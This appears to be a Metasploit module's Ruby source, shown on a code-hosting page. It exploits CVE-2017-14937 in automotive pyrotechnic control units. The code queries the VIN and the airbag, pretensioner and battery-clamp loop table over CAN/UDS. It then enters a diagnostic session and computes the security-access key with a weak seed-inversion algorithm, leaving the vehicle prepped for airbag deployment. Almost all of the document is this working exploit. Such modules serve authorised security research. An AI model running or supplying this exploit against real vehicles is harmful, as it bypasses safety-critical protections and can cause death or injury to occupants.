Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/pdt.rb
21627 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex'
7
8
class MetasploitModule < Msf::Post
9
10
include Msf::Post::Hardware::Automotive::UDS
11
include Msf::Post::Hardware::Automotive::DTC
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
18
'Description' => %q{
19
Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
20
will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
21
to discover how many pyrotechnic devices are present, then attempt to validate
22
the security access token using the default simplified algorithm. On success,
23
the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
24
(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Johannes Braun', # original research
29
'Juergen Duerrwang', # original research
30
'Craig Smith' # research and module author
31
],
32
'References' => [
33
[ 'CVE', '2017-14937' ],
34
[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
35
],
36
'Platform' => ['hardware'],
37
'SessionTypes' => ['hwbridge'],
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [PHYSICAL_EFFECTS],
41
'Reliability' => []
42
}
43
)
44
)
45
register_options([
46
OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
47
OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
48
OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
49
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
50
])
51
end
52
53
LOOP_TABLE = {
54
0x00 => 'ISOSAEReserved',
55
0x01 => 'airbag driver side frontal 1st stage',
56
0x02 => 'airbag left side frontal 1st stage',
57
0x03 => 'airbag right side frontal 1st stage',
58
0x04 => 'airbag driver side frontal 2nd stage',
59
0x05 => 'airbag left side frontal 2nd stage',
60
0x06 => 'airbag right side frontal 2nd stage',
61
0x07 => 'airbag driver side frontal 3rd stage',
62
0x08 => 'airbag left side frontal 3rd stage',
63
0x09 => 'airbag right side frontal 3rd stage',
64
0x0A => 'airbag passenger side frontal 1st stage',
65
0x0B => 'airbag passenger side frontal 2nd stage',
66
0x0C => 'airbag passenger side frontal 3rd stage',
67
0x0D => 'airbag left side frontal 3rd stage',
68
0x0E => 'airbag right side frontal 3rd stage',
69
0x0F => 'airbag passenger frontal 1st stage - center',
70
0x10 => 'airbag passenger frontal 2nd stage - center',
71
0x11 => 'airbag passenger frontal 3rd stage - center',
72
0x12 => '1st pretensioner driver side',
73
0x13 => '1st pretensioner left side',
74
0x14 => '1st pretensioner right side',
75
0x15 => '2nd pretensioner driver side',
76
0x16 => '2nd pretensioner left side',
77
0x17 => '2nd pretensioner right side',
78
0x18 => '1st pretensioner passenger side',
79
0x19 => '2nd pretensioner passenger side',
80
0x1A => '1st pretensioner passenger - center',
81
0x1B => '2nd pretensioner passenger - center',
82
0x1C => '1st pretensioner (2nd row) left',
83
0x1D => '2nd pretensioner (2nd row) left',
84
0x1E => '1st pretensioner (2nd row) right',
85
0x1F => '2nd pretensioner (2nd row) right',
86
0x20 => '1st pretensioner (2nd row) center',
87
0x21 => '2nd pretensioner (2nd row) center',
88
0x22 => '1st pretensioner (3rd row) left',
89
0x23 => '2nd pretensioner (3rd row) left',
90
0x24 => '1st pretensioner (3rd row) right',
91
0x25 => '2nd pretensioner (3rd row) right',
92
0x26 => '1st pretensioner (3rd row) center',
93
0x27 => '2nd pretensioner (3rd row) center',
94
0x28 => 'belt force limiter driver side',
95
0x29 => 'belt force limiter left side',
96
0x2A => 'belt force limiter right side',
97
0x2B => 'belt force limiter passenger side',
98
0x2C => 'belt force limiter passenger side - center',
99
0x2D => 'belt force limiter 2nd row - left',
100
0x2E => 'belt force limiter 2nd row - right',
101
0x2F => 'belt force limiter 2nd row - center',
102
0x30 => 'belt force limiter 3rd row - left',
103
0x31 => 'belt force limiter 3rd row - right',
104
0x32 => 'belt force limiter 3rd row - center',
105
0x33 => 'headbag - driver side (roof mounted)',
106
0x34 => 'headbag - passenger side (roof mounted)',
107
0x35 => 'headbag - right side (roof mounted)',
108
0x36 => 'headbag - left side (roof mounted)',
109
0x37 => 'headbag - 2nd row - left (roof mounted)',
110
0x38 => 'headbag - 2nd row - right (roof mounted)',
111
0x39 => 'headbag - 3rd row - left (roof mounted)',
112
0x3A => 'headbag - 3rd row - right (roof mounted)',
113
0x3B => 'sidebag (curtain) - driver side',
114
0x3C => 'sidebag (curtain) - passenger side',
115
0x3D => 'sidebag (curtain) - left side',
116
0x3E => 'sidebag (curtain) - right side',
117
0x3F => 'sidebag (curtain) - 2nd row - left',
118
0x40 => 'sidebag (curtain) - 2nd row - right',
119
0x41 => 'sidebag (curtain) - 3rd row - left',
120
0x42 => 'sidebag (curtain) - 3rd row - right',
121
0x43 => 'sidebag - driver side (door mounted)',
122
0x44 => 'sidebag - passenger side (door mounted)',
123
0x45 => 'sidebag - left side (door mounted)',
124
0x46 => 'sidebag - right side (door mounted)',
125
0x47 => 'sidebag - 2nd row - left (door mounted)',
126
0x48 => 'sidebag - 2nd row - right (door mounted)',
127
0x49 => 'sidebag - 3rd row - left (door mounted)',
128
0x4A => 'sidebag - 3rd row - right (door mounted)',
129
0x4B => 'seatbag (cushion) - driver side (seat mounted)',
130
0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
131
0x4D => 'seatbag (cushion) - left side (seat mounted)',
132
0x4E => 'seatbag (cushion) - right side (seat mounted)',
133
0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
134
0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
135
0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
136
0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
137
0x53 => 'kneebag - driver side',
138
0x54 => 'kneebag - passenger side',
139
0x55 => 'kneebag - left side',
140
0x56 => 'kneebag - right side',
141
0x57 => 'kneebag - passenger side - center',
142
0x58 => 'footbag - driver side',
143
0x59 => 'footbag - passenger side',
144
0x5A => 'footbag - left side',
145
0x5B => 'footbag - right side',
146
0x5C => 'footbag - passenger side - center',
147
0x5E => 'active headrest - driver side',
148
0x5F => 'active headrest - passenger side',
149
0x60 => 'active headrest - left side',
150
0x61 => 'active headrest - right side',
151
0x62 => 'active headrest - passenger side - center',
152
0x63 => 'active headrest - 2nd row - left',
153
0x64 => 'active headrest - 2nd row - right',
154
0x65 => 'active headrest - 2nd row - center',
155
0x66 => 'active headrest - 3rd row - left',
156
0x67 => 'active headrest - 3rd row - right',
157
0x68 => 'active headrest - 3rd row - center',
158
0x69 => 'battery clamp main battery',
159
0x6A => 'battery clamp 2nd battery',
160
0x6B => 'battery clamp 3rd battery',
161
0x6C => 'battery clamp 4th battery',
162
0x6D => 'roof-airbag front',
163
0x6E => 'roof-airbag front',
164
0x6F => 'bag in belt driver side',
165
0x70 => 'bag in belt passenger side',
166
0x71 => 'bag in belt left side',
167
0x72 => 'bag in belt right side',
168
0x73 => 'bag in belt passenger side - center',
169
0x74 => 'bag in belt 2nd row - left',
170
0x75 => 'bag in belt 2nd row - right',
171
0x76 => 'bag in belt 2nd row - center',
172
0x77 => 'bag in belt 3rd row - left',
173
0x78 => 'bag in belt 3rd row - right',
174
0x79 => 'bag in belt 3rd row - center',
175
0x7A => 'rollover bar #1',
176
0x7B => 'rollover bar #2',
177
0x7C => 'rollover bar #3',
178
0x7D => 'rollover bar #4',
179
0x7E => 'active anti-submarining driver seat',
180
0x7F => 'active anti-submarining passenger seat',
181
0x80 => 'active anti-submarining left seat',
182
0x81 => 'active anti-submarining right seat',
183
0x82 => 'active anti-submarining passenger seat - center',
184
0x83 => 'active anti-submarining seat 2nd row - left',
185
0x84 => 'active anti-submarining seat 2nd row - right',
186
0x85 => 'active anti-submarining seat 2nd row - center',
187
0x86 => 'active anti-submarining seat 3rd row - left',
188
0x87 => 'active anti-submarining seat 3rd row - right',
189
0x88 => 'active anti-submarining seat 3rd row - center',
190
0x89 => 'pedestrian protection front left hood lifter',
191
0x8A => 'pedestrian protection front right hood lifter',
192
0x8B => 'pedestrian protection rear left hood lifter',
193
0x8C => 'pedestrian protection rear right hood lifter',
194
0x8D => 'pedestrian protection a-pillar left',
195
0x8E => 'pedestrian protection a-pillar right',
196
0x8F => 'pedestrian protection wind screen',
197
0x90 => 'pedestrian protection bumper left',
198
0x91 => 'pedestrian protection bumper center',
199
0x92 => 'pedestrian protection bumper right',
200
0x93 => 'active steering column',
201
0x94 => 'front screen - emergency release',
202
0x95 => 'read window - emergency release'
203
}
204
205
ACL_TYPES = {
206
0x01 => 'CAN only',
207
0x02 => 'ACL Comm Mode 12V',
208
0x03 => 'ACL PWM FixedLevel 8V',
209
0x04 => 'ACL Comm Mode 24V',
210
0x05 => 'ACL PWM UbattLevel 12V',
211
0x06 => 'ACL PWM UbattLevel 24V'
212
}
213
214
PCU_ADDRESS_FORMAT = {
215
0x01 => '11 bit normal addressing',
216
0x02 => '11 bit extended addressing',
217
0x03 => '11 bit mixed addressing',
218
0x04 => '29 bit normal fixed addressing',
219
0x05 => '29 bit mixed addressing',
220
0x06 => '29 bit unique addressing'
221
}
222
223
def print_vin(vin)
224
return '' if vin.nil?
225
226
vin.map! { |d| d.hex.chr }
227
print_status(" VIN: #{vin.join}")
228
end
229
230
def print_loop_table(loopid)
231
print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
232
(3..loopid.size).each do |i|
233
if i % 2 == 1
234
if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
235
print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
236
else
237
print_status(" #{loopid[i]} | <<UNKNOWN>>")
238
end
239
elsif loopid[i] && loopid[i].hex == 0
240
print_status(' | Deployment Status: Good')
241
else
242
print_status(" | Deployment Status: Fail (#{loopid[i]})")
243
end
244
end
245
end
246
247
def run
248
opt = {}
249
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
250
print_status('Gathering Data...')
251
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
252
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
253
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
254
address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
255
loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
256
acl_type_definition = loopid[0]
257
acl_type_version = loopid[1]
258
no_of_charges = loopid[2]
259
260
print_vin(vin)
261
print_loop_table(loopid)
262
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
263
print_status(' Info About First PCU')
264
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
265
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
266
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
267
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
268
print_status(" ACL Type version | #{acl_type_version.hex}")
269
print_status
270
print_status('Switching to Diagnostic Session 0x04...')
271
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
272
if resp.key? 'error'
273
print_error("Could not switch to DSC 0x04: #{resp['error']}")
274
return
275
end
276
# We may not need tester present at all because we will perform the action quickly
277
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
278
print_status('Getting Security Access Seed...')
279
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
280
if seed.key? 'error'
281
print_error("Couldn't get seed: #{seed['error']}")
282
return
283
end
284
print_status("Success. Seed: #{seed['SEED']}")
285
print_status('Attempting to unlock device...')
286
display_warning = false
287
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
288
print_status('Security Access Already Unlocked!!')
289
display_warning = true
290
else
291
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
292
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
293
if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
294
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
295
return
296
end
297
found_valid = false
298
if (resp.key? 'Packets') && !resp['Packets'].empty?
299
resp['Packets'].each do |i|
300
found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
301
end
302
end
303
if found_valid
304
print_status('Success!')
305
display_warning = true
306
else
307
print_error("Unknown response: #{resp.inspect}")
308
end
309
end
310
if display_warning
311
print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
312
print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
313
end
314
end
315
316
end
317
318